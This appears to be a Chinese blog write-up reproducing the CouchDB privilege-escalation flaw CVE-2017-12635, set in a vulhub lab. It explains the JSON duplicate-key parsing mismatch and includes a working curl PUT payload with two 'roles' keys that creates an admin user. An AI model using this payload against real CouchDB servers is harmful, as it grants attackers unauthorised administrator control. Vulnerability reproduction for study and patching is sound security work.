漏洞复现----50、Couchdb 垂直权限绕过漏洞(CVE-2017-12635)


一、Apache CouchDb

Apache CouchDB 是一个开源的面向文档的 NoSQL 数据库,用 Erlang 实现。CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用 JSON 存储数据,使用 MapReduce 作为其查询语言的 JavaScript,以及作为 API 的 HTTP。Erlang的JSON解析工具:Jiffy


二、漏洞解析

漏洞版本:小于 1.7.0 | 小于 2.1.1

漏洞描述

CouchDB 使用 JSON 来进行数据交换,并将其作为一个 Erlang proplist。但是这种实现就导致了在 CouchDB 中,当涉及到 JSON 解析时,允许 JSON 文档具有多个同名的键。

proplists 模块:常用于处理配置文件和函数选项,proplists对内部数据结构是Key-Value键值对形式,第一个元素做key用来查询和删除,如果一个key有多个值就会使用第一次出现的值,其它被忽略。

CVE-2017-12635是由于基于Erlang的JSON 解析器和基于 JavaScript 的 JSON 解析器的差异造成的,所以先了解一下Javascript JSON解析器jiffy的解析器解析规则:
{"foo":"bar", "foo":"baz"}为例:
1、Erlang

> jiffy:decode("{\"foo\":\"bar\", \"foo\":\"baz\"}"). 
{[{<<"foo">>,<<"bar">>},{<<"foo">>,<<"baz">>}]}

2、Javascript

> JSON.parse("{\"foo\":\"bar\", \"foo\": \"baz\"}")
{foo: "baz"}

在 CouchDB 数据库_users中创建或修改用户时,服务器会使用 Javascript 函数来管理用户的访问控制:

例如,要创建一个用户,将一个文档插入到_users 数据库,通过执行PUT /_users/org.couchdb.user:set_username,用户文档必须包含顶级key –roles ,为用户提供额外的权限。 "name": "test", "roles": ["_admin"]–>这个就是为用户test设置admin权限。

_users 数据库的情况下,允许攻击者提交带有两个 roles 键的 _users文档。第一个roles可以设置为任何自分配角色,因为JavaScript的JSON解析只会看到第二个roles。在后续请求中对用户进行身份验证时,roles是从 Erlang-JSON 表示中读取的,并且在该实现中返回第一个roles,第一个roles可以设置为任何角色,包括_admin 角色,赋予用户管理员权限。

curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:test'
--data-binary 
'{
  "type": "user",
  "name": "test",
  "roles": ["_admin"],
  "roles": [],
  "password": "password"
}'

并且CouchDB的 getter 函数只会返回第一个值:

% Within couch_util:get_value 
lists:keysearch(Key, 1, List).

因此,我们就可以绕过相关的输入验证创建了一个具有admin权限的用户test。


三、漏洞复现

访问登陆页面,通过执行PUT /_users/org.couchdb.user:set_username创建两个roles就可以绕过登陆限制创建admin权限用户。
在这里插入图片描述
在这里插入图片描述


参考链接:
https://vulhub.org/#/environments/couchdb/CVE-2017-12635/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
由于 Hyperledger-Fabric 是一个底层的区块链框架,它的系统架构比较杂,包括了多个组件和模块。下面是一个简化的 Hyperledger-Fabric 系统架构图: ![Hyperledger-Fabric 系统架构图](https://i.imgur.com/A8I6NuL.png) 从图中可以看出,Hyperledger-Fabric 的系统架构主要包括以下组件和模块: - 客户端(Client):客户端是区块链系统的使用者,可以通过 SDK 与区块链网络进行交互,包括提交交易、查询数据等操作。客户端可以是 Web 应用程序、移动应用程序、IoT 设备等。 - 区块链网络(Blockchain Network):区块链网络由多个 Peer 和一个 Ordering Service 组成,每个 Peer 都有自己的账本,用于保存区块链上的交易记录和状态数据。 - Peer 节点(Peer Node):Peer 节点是区块链网络的核心,它可以执行智能合约、验证交易,并将交易记录和状态数据保存到自己的账本中。Peer 节点之间可以相互通信和交互数据,还可以进行背书(Endorsement)操作,即对交易进行签名,用于确保交易的真实性和合法性。 - Ordering Service 节点(Ordering Service Node):Ordering Service 节点是区块链网络的一部分,负责将交易打包成区块,并将区块传播到所有的 Peer 节点。Ordering Service 节点可以使用不同的共识算法来处理交易,例如 Kafka、Raft 等。 - 智能合约(Smart Contract):智能合约是 Hyperledger-Fabric 的核心概念,它是一段可编程的代码,用于对交易进行处理和执行。智能合约可以使用不同的编程语言编写,例如 Go、Java、JavaScript 等。 - 认证和授权服务(Authentication and Authorization Service):认证和授权服务是用于验证客户端和 Peer 节点身份的服务,它可以使用不同的身份验证协议和技术,例如 TLS、PKI 等。 - 数据库(Database):Hyperledger-Fabric 使用不同的数据库系统来保存交易记录和状态数据,例如 LevelDB、CouchDB 等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值